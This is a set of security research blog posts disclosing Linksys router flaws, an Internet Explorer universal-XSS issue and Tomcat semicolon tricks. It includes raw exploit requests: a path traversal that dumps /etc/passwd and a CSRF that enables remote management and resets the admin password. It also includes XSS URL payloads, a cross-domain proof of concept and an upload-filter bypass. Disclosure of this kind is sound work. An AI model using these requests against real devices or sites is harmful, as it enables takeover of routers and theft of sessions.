Don't Use Linksys Routers

Back in 2012 I gave a talk at a conference titled Blended Threats and JavaScript. I demonstrated how anybody could design an internet worm that targeted common network devices like routers and turn them into a powerful botnet that is able to monitor traffic across all types of networks. For the presentation, I demonstrated a vulnerability in the uber-popular Linksys WRT54GL router. Well, it's been almost a year since that presentation, so where are we now? In January of this year, Cisco (who owned Linksys until recently) published a patch to the router. Unfortunately, as the change log  indicates, the patch only addressed an unrelated XSS issue. Today, the latest firmware version 4.30.16 (build 4) remains vulnerable to the attack, dubbed Cross-Site File Upload (CSFU).

The router itself was only a mechanism to demonstrate the attack. During my research process, I thought it would be good to take a look at how Cisco's newer devices did in regards to securing their administration features. I chose the Linksys EA2700 Network Manager N600 Wi_Fi Wireless-N Router because it is a major brand device, and was recently released in March 2012, making it an easy choice for home users looking for an easy to use home Wi-Fi router. I hooked it up and spent maybe 30 minutes testing the security of the embedded website used to manage the device, then never used it again. What I found was so terrible, awful, and completely inexcusable! It only took 30 minutes to come to the conclusion that any network with an EA2700 router on it is an insecure network! 

On March 5, 2013, I emailed my research to Cisco.

Today I am publishing 5 Linksys router vulnerabilities so that consumers may be aware of the risks.

linksys vulns.txt

1. Linksys WRT54GL Firmware Upload CSRF Vulnerability

I demonstrate Cross-Site File Upload in my BlackHat and AppSec USA talks. If you need more info on the vector itself, check out How to upload arbitrary file contents cross-domain by Kotowicz.

2. Linksys EA2700 XSS Vulnerability

XSS on the apply.cgi page (used for nearly all state changing requests). Works authenticated or non-authenticated. Can be used to steal access to the device, change settings, or assist in uploading backdoored firmware.

3. Linksys EA2700 File Path Traversal Vulnerability

Get the routers /etc/passwd file or other config files easily, and without ever logging in! This vulnerability tells me that this routers software was never given a security pen-test because it is just TOO easy!

POST /apply.cgi
Host: 192.168.1.1
submit_button=Wireless_Basic&change_action=gozila_cgi&next_page=/etc/passwd
====>
root:x:0:0::/:/bin/sh
nobody:x:99:99:Nobody:/:/bin/nologin
sshd:x:22:22::/var/empty:/sbin/nologin
admin:x:1000:1000:Admin User:/tmp/home/admin:/bin/sh
quagga:x:1001:1001:Quagga:/var/empty:/bin/nologin
firewall:x:1002:1002:Firewall:/var/empty:/bin/nologin

4. Linksys EA2700 Password Change Insufficient Authentication and CSRF Vulnerability

On a Linksys EA2700 router, anybody on the same network can change the routers password and enable remote management. This would allow them to access your network from the Internet. It's also possible for a remote attacker on the Internet to design a malicious website  that would exploit the same vulnerabilities without actually being on your home network. Now thats what I call a CSRF attack!

Simply send a POST request to apply.cgi  page. This simple POST request will turn on remote management and change the admin password to "password":

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 370

submit_button=Management&change_action=&action=Apply&PasswdModify=1
&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0
&wait_time=4&http_passwd=password&http_passwdConfirm=password
&_http_enable=1&web_wl_filter=0
&remote_management=1&_remote_mgt_https=1&remote_ip_any=1
&http_wanport=8080&nf_alg_sip=0&ctf_enable=1&upnp_enable=1
&upnp_config=1&upnp_internet_dis=0

This is just STUPID. I don't know whether to laugh or cry at this because it's essentially the same as putting an unpatched Windows machine directly on the Internet. This is just so sad that I really don't know what else to say about this. *mindblown.gif*

5. Linksys EA2700 Source Code Disclosure Vulnerability

Feel like hacking the EA2700, but only have a keyboard with one character on it? If that character is a "/" then you are in luck. Add a "/" to any URL while browsing through the administrative panel, and you will be presented the raw source code of the page. No, I'm not talking the HTML source code, but the actual web application level source code that is used to convert the page to HTML. I wonder how many more vulns you can find by going through the source code of this appliance.

Happy Internetting!

Top-Level Universal XSS

A flaw in Internet Explorer could expose users to JavaScript exploits and Universal XSS by abusing the way the browser classifies websites into specific security zones.

What is Universal XSS?

Generic Cross-Site Scripting (XSS) flaws only affect the original website that has the XSS vulnerability. For example, XSS in facebook.com grants an attacker access to the victim's Facebook session, but browser security prevents the flaw from affecting other websites.

Universal XSS (UXSS) is when it is the browser behavior that is exploited, and the standard controls that prevent other websites from being affected are ignored. UXSS is essentially creating an XSS flaw where there is none.

The Threat of Two Letter Websites

In February of 2012, I wrote about a group of websites that are being hosted at the root level of custom Top-Level Domains (TLD) such as http://io./ and http://ai./. At the time, I posed the question, “If there are XSS vulnerabilities on a Top-Level Domain, could it affect all of its subdomains?”

It turns out that XSS on website hosted at the root level can lead to very bad things much worse than I originally thought: Universal XSS; a single XSS vulnerability that can perform cross-site communication to any other domain. I'm going to explain the circumstances of this vulnerability and how it can be exploited.

I want to thank Pujun Li (@jackmasa) for bringing this to my attention and the Microsoft Security Response Center for quickly getting back to us on this issue.

The Intranet Zone

Internet Explorer maps out websites you visit into specific security zones: Internet, Local Intranet, Trusted Sites, and Restricted Sites.

IE9 Security Zones

The Local Intranet Zone is a zone designated for trusted content; content hosted on your local network by your confident network administrators. In this zone, security measures are reduced across the board, and sites mapped to this zone do not use IE’s built-in ActiveX or XSS filters. Same Origin/Cross-domain boundaries are reduced, and JavaScript is granted additional cross-domain functionality to communicate with external websites. Why? Presumably to prevent things from breaking in the corporate network. If an attacker can get a malicious JavaScript within the Intranet zone, he effectively controls the rest of the websites that the victim interacts with.

From Internet to Intranet

The problem is the Intranet Zone, which Microsoft’s Eric Law goes into great detail in his MSDN IEInternals blog post The Intranet Zone. Every website Internet Explorer visits goes through a sequence of checks to determine which security zone the page should load into. One of these checks is called:

The PlainhostName rule (aka “The Dot rule”):

If the URI’s hostname doesn’t contain any periods (e.g. http://team/) then it is mapped to the Local Intranet Zone.

A site hosted at the TLD doesn’t have any periods in the hostname, and so the Internet hosted site gets incorrectly classified as an Intranet hosted site.

Eric concludes the post saying “none of [the TLD] sites can be loaded from most corporate networks.” I don’t know about most corporate networks, but I feel it’s important to go over the various requirements that need to be met before the UXSS vulnerability can be exploited.

Enabling the Intranet Zone

When the Intranet Zone is enabled in IE, we are left with a website that is on the Internet, but loaded in the less-secure Local Intranet Zone.

A user in a managed enterprise network is likely to have the Intranet Zone enabled by default. For home users, the Intranet Zone has been disabled since the release of IE7, but that means that it is enabled for Internet Explorer version 6. Combined, that's actually a pretty huge attack surface.

While the Intranet Zone is disabled by default for home users, once it is enabled it stays that way for all future requests. So how do you enable the Intranet Zone?

The instant a website is accessed that Internet Explorer interprets as possibly being on the local network, there is a warning message:

Intranet settings are turned off by default. [Don't show this message again] [Turn on Intranet Settings]

Clicking “Turn on Intranet Settings” provides a secondary confirmation, “Are you sure you want to turn on intranet-level security settings?”

Intranet settings use a less secure level than the Internet. If you only go to Internet websites, you should not turn on intranet settings.

Are you sure you want to turn on intranet-level security settings?

Click YES and the Intranet Zone is permanently enabled and the page is reloaded.

Once again, this only needs to be done if the user has never enabled Intranet Settings in the past and is not on a managed network, but for everyone else it’s still a lot of steps to be tricked into following. Fortunately for the bad guys, these roadblocks can be overcome with a little social engineering and good timing. The victim only needs to tab over and select the "Turn on Intranet Settings" button, activate it, and then provide a Yes response to the confirmation dialog. So, the attacker creates a scenario where it would make sense to type a few keystrokes, then the specific key combination [TAB] [TAB] [ENTER] [Y].

Security Risk

In IE, every site on the Local Intranet has carte blanche access to sensitive data on the rest of the sites on the Internet. This includes the ability of JavaScript to run against unassociated domains, something that is normally disallowed by browser Same Origin Policy. There is one caveat though, and once again it comes in the form of a confirmation dialog:

This page is accessing information that is not under its control. This poses a security risk. Do you want to continue?

If the user clicks “Yes”, the JavaScript program gets unrestricted access across the rest of internet. How does that attacker get the victim to click “Yes”? Once again, they can use social engineering and timing. All the attacker has to do is get the victim to type the letter [Y] one more time to confirm YES at the prompt.

So, if you own a TLD and host a website at the root level, you can do some pretty mean things.

But what if you don’t have the $185,000 needed to register your own TLD from ICANN?

I suppose you’ll just have to rely on vulnerabile code in-use by somebody who has already paid the fees and set up a website. Perhaps you will find one running a CGI script with XSS Vulnerabilities. Cool, but what about IE's XSS filter, won't that stop the attack? After all, it is pretty good at detecting and preventing XSS, right? Unfortunately, the filter is completely disabled in the Intranet Zone, raising the threat and ease of exploiting XSS on TLD hosts.

Misdirection

I took this vulnerability to Microsoft to see what they thought of it. My understanding is that because of the numerous confirmation prompts and variables, they didn't see it as a very high threat. In theory I agree, and it's hard to see this as a typical drive-by exploit. However, I would like to point out one more thing that could make exploitation easier: The warning messages do not give any indication about which website IE is attempting to load in the Intranet Zone or access cross-domain content. It isn't obvious whether you are under attack, or if you simply visited a website that's attempting to take full advantage of the abundance of features that IE provides. Loading the TLD site in a hidden iframe means that the user does not receive any visual cues about which website is attacking them, or what information is being hacked.

Trusted Site

Show me the money

I bet you would like to see a POC now, wouldn't you?

An attack of this nature isn’t just theoretical; it’s entirely possible. I discovered that one of the companies hosting websites on its root domain uses a CGI script that is vulnerable to XSS. Without considering the flood of new companies that will soon have their own TLD, there are at least four websites (tm, sh, io, and ac) that can be used right now by attackers as a jumping off point for this vulnerability and used steal sensitive data and bank account information, or hack into social networks and email accounts.

Here's a live proof of concept for IE9. The injected JavaScript in the URL creates a request that simply grabs the response headers of reddit.com including any new cookies and displays them in an alert as evidence that the Same Origin Policy has been ignored. Similar code can just as easily be written to grab CSRF tokens and submit new votes and posts under your Reddit username.

http://ac/cgi-bin/idn?data=%1N%1e%1cscript%1ex=new XMLHttpRequest;x.open('get','http://www.reddit.com');x.send();x.onreadystatechange=function(){if(x.readyState==4)alert(x.getAllResponseHeaders())};void(0);%1c%0fscript%1e

Update 1: To get a better idea of what the attack could look like, check out a video demonstration.

Three Semicolon Vulnerabilities

I have three new web bugs to demonstrate. Each of them take advantage of how a semicolon character is interpreted by a web server or browser. Each of these bugs can be demonstrated on the latest release of Apache Tomcat 7.0.22, and the latest browsers. Exploitation of these bugs requires unique issues on a vulnerable website.

1. XSS via Request URI: Avoiding "Page Not Found" Errors With Path Parameters

Apache Tomcat is one example of a web server that supports "Path Parameters". A path parameter is extra content after a file name, separated by a semicolon. Any arbitrary content after a semicolon does not affect the landing page of a web browser. This means that http://example.com/index.jsp;derp will still return index.jsp, and not some error page. If a web application was written to reflect the "requestURI" onto a page, then an attacker can take advantage of the misstep.

http://example.com/payments.jsp;');alert(1);//

Another strange thing I found while writing this is that the path parameter can even go before the actual file:

http://example.com/;';alert(1)//payments.jsp

Mitigation:

Use getServletPath() instead of getRequestURI()

2. XSS via Logged in URL: Apache Tomcat Encoded URL's

Apache Tomcat is an implementation of the Java Servlet and JavaServer Pages technologies. By default, this technology assigns a JSESSIONID cookie to each visitor as a unique identifier. Java Servlets have a unique feature that allow the JSESSIONID to be included as part of the URL when separated by a semicolon, instead of the standard hidden HTTP Request header. Presumably this is to support browsers that can't store cookies, but I was not able to determine exactly why it supports this crazy feature. Here's an example of what an encoded URL might look like:

http://example.com/index.jsp;JSESSIONID=A2C1F690F7DA38D6742282B1FC7B9434

Unfortunately, this feature can be abused. If an attacker wanted to start a phishing campaign for a vulnerable website where he had only found XSS on an authenticated portion of the website, he could insert his own valid session identifier in the URL to initiate attacks.The attackers crafted URL could look something like this:

http://example.com/admin.jsp;JSESSIONID=A2C1F690F7DA38D6742282B1FC7B9434?s="><script>alert(1)</script>

Mitigation:

I'm not sure how to disable the use of the JSESSIONID in the URL, so if you know how please leave a note in the comments and I will update the post.

Update: Thanks John, from the comments who pointed me to a stack overflow Q&A where there is information on how to disable the use of JSESSIONID within the URL. The following can be added to the web.xml configuration file in Tomcat 7:

<session-config>
 <tracking-mode>COOKIE</tracking-mode>
</session-config>

Update 2:@jonpasski informs me that the Tomcat version 6 configuration parameter disableURLRewriting = "true" will disable support for tracking Session IDs in the URL. The functionality comes as part of the Java Servlet Specification for URL Rewriting, a legacy feature to allow sessions to be tracked when clients will not accept cookies. I think it might be time for this feature to be deprecated.

3. MIME Type Detection Manipulation

This one is big. So we know that Apache Tomcat allows Path Parameters after a semicolon, and any arbitrary text can be added after a filename. Unfortunately, Internet Explorer doesn't take this into consideration and actually uses what it thinks is the file extension as one of the factors when determining file MIME type. MIME type is what tells Internet Explorer whether to open content as a webpage, or a downloadable file, or display it as an image, or run as JavaScript. An attacker can take advantage of Internet Explorer's built in MIME Type Detection, and exploit an XSS vulnerability. This is how it works:

An attacker has found what appears to be HTML code injection on a website, but the injection is wrapped in JSON punctuation, or the attacker found file upload functionality, but the extension is restricted to .doc, or .zip, etc. Either way, the web server will attempt to specify the correct content with a response header "Content-Type: application/json", which prevents most browsers from rendering any HTML or JavaScript within the response. In IE 6, 7, 8, and even 9, a file extension provided after the URL redefines the MIME type IE uses. If the attacker can trick IE into loading the file as HTML, the attacker can include malicious JavaScript to execute. The crafted url would look something like this:

http://example.com/search/derp/results.zip;.html

This trick appears to work with many file types: .doc, .flv, .jar, .pdf, .zip, .swf; basically anything except images.

The same trick apparently works on PHP sites as well, as documented on IBM's Watchfire blog. In PHP, Path Parameters are passed after a page with "/" instead of a semicolon.

This is very similar to a previous vulnerability, CVE-2009-4444: IIS 6 Filename Parsing Flaw. It's a bit old, and has been patched, but it's still an excellent flaw to test for in web applications. With the use of a semicolon, attackers can bypass file extension verification performed by applications running on Microsoft IIS. If the application only allowed users to upload files with the ".jpg" extension, an attacker could attempt to upload a file called "shell.asp;.jpg". A flaw was discovered where the web application would read the file name and see the file as a .jpg image, while the IIS server would recognize all of the text leading up the semicolon, and consider the file to be an ASP file. When accessed, the IIS server would run the malicious code inside of the file, instead of storing a benign image.

Mitigation:

Content sniffing is a longstanding behavior in Internet Explorer. To prevent exploitation of this vulnerability web application developers are encouraged to use the following headers where appropriate:

"X-Content-Type-Options: nosniff"

"X-Download-Options: noopen"

"Content-Disposition: attachment; filename=untrustedfile.html"

Try it!

I wrote a proof of concept page to demonstrate these vulnerabilities, but I will only be hosting it temporarily [noe offline]. After checking out the demo page, check out the source code:

<%@ page session="true" %>
<!DOCTYPE html>
<html>
<% response.setHeader("X-XSS-Protection","0"); %>
<head>
<title>Semicolon Jacking</title>
</head>
<body>
<%
if ( session.getLastAccessedTime() <= session.getCreationTime() ) {
out.println("You are not logged in!<br/><br/>");
}
else if ( session.getLastAccessedTime() > session.getCreationTime() ) {
out.println("You are logged in!<br/>");
out.println("Reflected Paramter: "+request.getParameter("xss")+"<br/><br/>");
}
%>
<script>var pageUri = '${pageContext.request.requestURI}';</script>
<br/>1. XSS via Request URI (Webkit/IE/Opera):<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/semicolon.jsp;';alert('xss1')-'">/semicolon.jsp;';alert('xss1')-'</a>
<br/>
<%
String originalURL = "/semicolon.jsp?xss=%3cimg%20src%3dx%20onerror%3dalert(/xss2/)%3e";
String encodedURL = response.encodeURL(originalURL);
out.println("<br/>2. XSS via Logged in URL:<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href=\""+encodedURL+"\">"+encodedURL+"</a>");
%>
<br/><br/>3. MIME Type Detection Manipulation (IE Only):<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/xss.zip;.html">/xss.zip;.html</a>
</br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/xss.jar;.html">/xss.jar;.html</a>
<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/xss.doc;.html">/xss.doc;.html</a>
<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/xss.exe;.html">/xss.exe;.html</a>
<br/>
<br/>
<br/><br/><br/>DEBUG:
<br/>X-XSS-Protection: 0
<br/>session.id: ${pageContext.session.id}
<br/>session.lastAccessedTime: ${pageContext.session.lastAccessedTime}
<br/>session.reationTime: ${pageContext.session.creationTime}
<br/>requestURI: ${pageContext.request.requestURI}
<br/>queryString: ${pageContext.request.queryString}
<br/>PathTranslated: ${pageContext.request.pathTranslated}
<br/>PathInfo: ${pageContext.request.pathInfo}
<br/>ServletPath: ${pageContext.request.servletPath}
</body>
</html>

Each of the sample files for Vulnerability #3 contain only one line of text:

1. <html><script>alert('XSS')</script></html>

References:

RFC3986: Uniform Resource Identifier (URI): Generic Syntax http://tools.ietf.org/html/rfc3986#section-3.3

Microsoft IIS 0Day Vulnerability in Parsing Files (semi-colon bug) http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf

Ignoring Content-Type of IE http://utf-8.jp/public/20110723/hitcon-hasegawa.pptx

IE8 Security: Comprehensive Protection http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx